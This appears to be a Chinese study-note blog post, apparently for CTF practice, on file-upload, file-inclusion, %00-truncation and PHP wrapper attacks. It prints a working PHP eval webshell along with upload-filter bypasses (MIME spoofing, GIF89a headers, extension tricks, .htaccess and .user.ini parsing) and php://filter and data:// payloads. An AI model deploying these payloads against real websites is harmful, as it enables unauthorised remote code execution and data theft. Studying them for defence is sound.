文件上传漏洞

1、webshell.php

核心代码:<?php @eval($_GET['cmd']);?>
一句话木马在php模块中利用eval函数将后面的字符串作为php代码执行,也就是注入成功后自己执行的字符串,@是php中的错误抑制符,不会回显错误消息,$_GET['cmd']是php的超级全局变量,用于访问利用HTTP GET传参cmd内容,cmd就是要执行的指令

2、上传

通过文件上传将php上传(绕过另外讨论),随后利用get进入该目录,随后加入参数?cmd=system("");输入命令即可
也可以修改GET为POST,利用蚁剑
attachments/Pasted image 20250728101314.png

3、绕过方法

1、js绕过

有些限制是加在前端浏览器中,利用前端js代码来识别注入的php并禁用,这时候f12设置禁用js代码,然后就能成功上传,如果不知道被存放在哪,再取消禁用js,就会得到回显,再按照一般步骤利用即可

2、文件头+MIME绕过

1. 图像类

  • image/jpeg(JPG/JPEG 格式图片)
  • image/gif(GIF 格式图片,支持动画)
  • image/bmp(BMP 位图格式)
  • image/svg+xml(SVG 矢量图格式)
  • image/webp(WebP 高效图片格式,压缩率高)

2. 文档类

  • application/pdf(PDF 文档)
  • application/msword(Word 旧版格式,.doc)
  • application/vnd.openxmlformats-officedocument.wordprocessingml.document(Word 新版格式,.docx)
  • application/vnd.ms-excel(Excel 旧版格式,.xls)
  • application/vnd.openxmlformats-officedocument.spreadsheetml.sheet(Excel 新版格式,.xlsx)
  • text/plain(纯文本文件,.txt)
  • text/html(HTML 网页文件)

3. 音频 / 视频类

  • audio/mpeg(MP3 音频文件)
  • audio/wav(WAV 音频文件)
  • video/mp4(MP4 视频文件)
  • video/mpeg(MPEG 视频文件)
  • video/quicktime(MOV 视频文件,QuickTime 格式)

4. 压缩 / 归档类

  • application/zip(ZIP 压缩文件)
  • application/x-rar-compressed(RAR 压缩文件)
  • application/gzip(GZIP 压缩文件)
    ![Pasted image 20250728105947.png]]
    以及内容绕过,在前面加上GIF89a修改为图片类型
    ![Pasted image 20250728112718.png]]
    关键在于这个地方,也就是修改数据包
    同时修改文件类型和文件头(这是GIF89a)
    最后得到返回数据包![Pasted image 20250728113111.png]]
    找到存放位置并且放置成功
    使用蚁剑连接即可

3、黑名单绕过

1、双写:shell.phphpp
2、大小写:shell.PHP
3、其他后缀: php2, php3, php4, php5, phps, pht, phtm, phtml
4、空格绕过:shell.php 空格
5、点绕过:shell.php.
6、流绕过:shell.php ::$DATA
后三者属于Windows系统自身机制问题会自动屏蔽

4、script+MIME绕过

1、 GIF89A <?php $_POST[1] ?>
2、 <script language="php">phpinfo();</script>
3、 <?= system(cat /flag);?>

一些不同的script写法从而绕过一些敏感字段

5、配置文件绕过

第一种是.htaccesss文件自动识别png解析为php

addType application/x-httpd-php .png

上传该文件后再上传png木马
第二种是.user.ini

auto_prepend_file=1.gif

作为gif木马的解析

注意,该方法要求必须两个文件在同一文件夹下

2、文件包含漏洞

由于在建设网站中的可用性,会在不同的php中实现代码复用,例如:
`http://xxx.com/index.php?page=...
同样,利用这个特性,我们可以复用木马或别的什么东西实现目的

且所有引用文件默认为php解析

  • 本地文件包含
    http://xxx.com/index.php?page=header.php
  • 远程文件包含
    `http://xxx.com/index.php?page=http://www.baidu.com

3、%00截断漏洞

在早期版本中,在%00会被识别为字符串结束标志从而绕过第一波审查实现读入
在有时我们进入目录试图执行木马会不能直接执行,因为它会加一个.xxx后缀,这时候我们用%00截断它给你添加的后缀即可

4、伪协议绕过

file://        — 访问本地文件系统
http://        — 于访问远程文件(需要allow_url_include开启)。
ftp://         — 访问 FTP(s) URL
php://         —访问各个输入/输出流(I/Ostreams)、过滤器等
    常见子协议:
            php://input:读取POST请求的原始数据。
            php://filter:对文件内容进行过滤或编码。  
zlib://        — 压缩流
data://        —数据(RFC 2397)用于直接嵌入数据(如Base64编码的数据)
glob://        — 查找匹配的文件路径模式
phar://        — PHP 归档
ssh2://        — Secure Shell 2
rar://         — RAR
ogg://        — 音频流
expect://      — 处理交互式的流

php://filter/read=convert.base64-encode/resource=index.php

filter模板化解题法

php://input
post:php代码

input

data://text/plain,php代码
data://text/plain;base64,base64编码的php代码

data

zip://archive.zip#file.txt
zip://绝对(相对)路径/xx.zip%23被压缩的文件

zip

phar://相对路径/xx.zip/被压缩的文件

phar

posted @ 2025-07-29 14:55  w0e6x  阅读(38)  评论(0)    收藏  举报